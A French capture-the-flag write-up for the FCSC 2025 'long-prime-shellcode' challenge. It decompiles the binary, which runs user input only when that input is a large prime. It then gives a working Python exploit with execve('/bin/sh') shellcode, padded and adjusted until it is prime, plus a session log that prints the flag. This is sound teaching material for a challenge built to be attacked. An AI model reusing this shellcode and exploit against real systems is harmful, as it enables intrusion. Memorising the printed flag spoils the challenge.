On a quoi ?
Des allusions à un grand nombre premier, du shellcoding, et des références à de précédents challenges … il va falloir faire un shellcode qui respecte une/des contrainte(s).
Et un fichier binaire.
On comprend quoi ?
Le plus simple c’est de regarder un peu ce que fait ce binaire …
$ file long-prime-shellcode
long-prime-shellcode: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d040cb35f677af262d8d31bc1b1c7d83fff3f2bd, for GNU/Linux 3.2.0, not stripped
Point important à noter : x86_64
… important pour le shellcode.
Le reste, on va voir que ce n’est pas très important, les sécurités non plus, ce n’est pas le but du challenge.
On peut alors décompiler le binaire et voir que tout est dans la fonction main()
:
int main(void)
{
int test;
ssize_t input_size;
ulong len_in_bits;
long in_FS_OFFSET;
undefined buff_tres_grand_entier [32];
undefined seed [400];
undefined entropy [37968];
undefined user_input [512];
undefined shell_code [520];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
mbedtls_ctr_drbg_init(seed);
mbedtls_entropy_init(entropy);
test = mbedtls_ctr_drbg_seed(seed,mbedtls_entropy_func,entropy,"fcsc2025",8);
if (test != 0) {
/* WARNING: Subroutine does not return */
exit(1);
}
input_size = read(0,user_input,0x200);
if (input_size < 1) {
puts("Error: cannot read input");
/* WARNING: Subroutine does not return */
exit(1);
}
mbedtls_mpi_read_string(buff_tres_grand_entier,10,user_input);
len_in_bits = mbedtls_mpi_bitlen(buff_tres_grand_entier);
if (len_in_bits < 0x400) {
printf("Error: input is too small (got %lu bits)\n",len_in_bits);
/* WARNING: Subroutine does not return */
exit(1);
}
if (0xfff < len_in_bits) {
puts("Error: input is too large");
/* WARNING: Subroutine does not return */
exit(1);
}
test = mbedtls_mpi_is_prime_ext(buff_tres_grand_entier,0x2a,mbedtls_ctr_drbg_random,seed);
if (test != 0) {
puts("Error: wrong input");
/* WARNING: Subroutine does not return */
exit(1);
}
mbedtls_mpi_write_binary(buff_tres_grand_entier,shell_code,len_in_bits + 7 >> 3);
test = mprotect((void *)((ulong)shell_code & 0xfffffffffffff000),0x1000,7);
if (test != 0) {
puts("Error: mprotect");
/* WARNING: Subroutine does not return */
exit(1);
}
(*(code *)shell_code)();
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Je passe sur la définition des fonctions de la bibliothèque mbedtls
, ça se trouve sur internet plus ou moins bien expliqué.
(Ici utilisées pour manipuler un très grand nombre entier et tester s’il est premier, d’où l’initialisation de l’aléa etc.)
Le programme :
- lit une entrée de l’utilisateur (max
0x200
octets) dans un buffer sur la stack - ce nombre doit faire entre
0x400
et0xfff
bits - ce nombre doit être un nombre premier
Si c’est le cas :
- la protection de la zone mémoire où est stockée l’entrée utilisateur est modifiée (rendue exécutable)
- le programme “saute dessus” (l’exécute)
Que faire ?
Il nous faut donc envoyer au programme un shellcode dont la lecture des bits comme un seul grand nombre entier est un nombre premier
Comment
L’avantage on a de la place … (0x200
octets)
- on prend un shellcode (
execve('/bin/sh')
c’est parfait) - on rajoute des
\x00
à la fin pour atteindre au moins la taille en bits attendue - on incrémente les derniers octets jusqu’à ce que le nombre ainsi formé soit un nombre premier :
from pwn import *
from sympy import *
HOST = "chall.fcsc.fr"
PORT = 2100
s = connect(HOST, PORT)
sc = b'\x48\x31\xf6\x56\x5a\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x6a\x3b\x58\x0f\x05'
sc += b'\x00' * (128 - len(sc))
extra = 1
int_sc = int.from_bytes(sc + extra.to_bytes(4, 'big'), byteorder='big')
while not isprime(int_sc):
extra +=1
int_sc = int.from_bytes(sc + extra.to_bytes(4, 'big'), byteorder='big')
s.sendline(str(int_sc).encode())
s.interactive()
$ python3 exp.py
[+] Opening connection to chall.fcsc.fr on port 2100: Done
[*] Switching to interactive mode
$ ls
flag.txt
long-prime-shellcode
$ cat flag.txt
FCSC{41948264d0f83ddb2ececa5267e30cb4ce7fd6c7bab2f7b2b935adfcc99b5662}
$ exit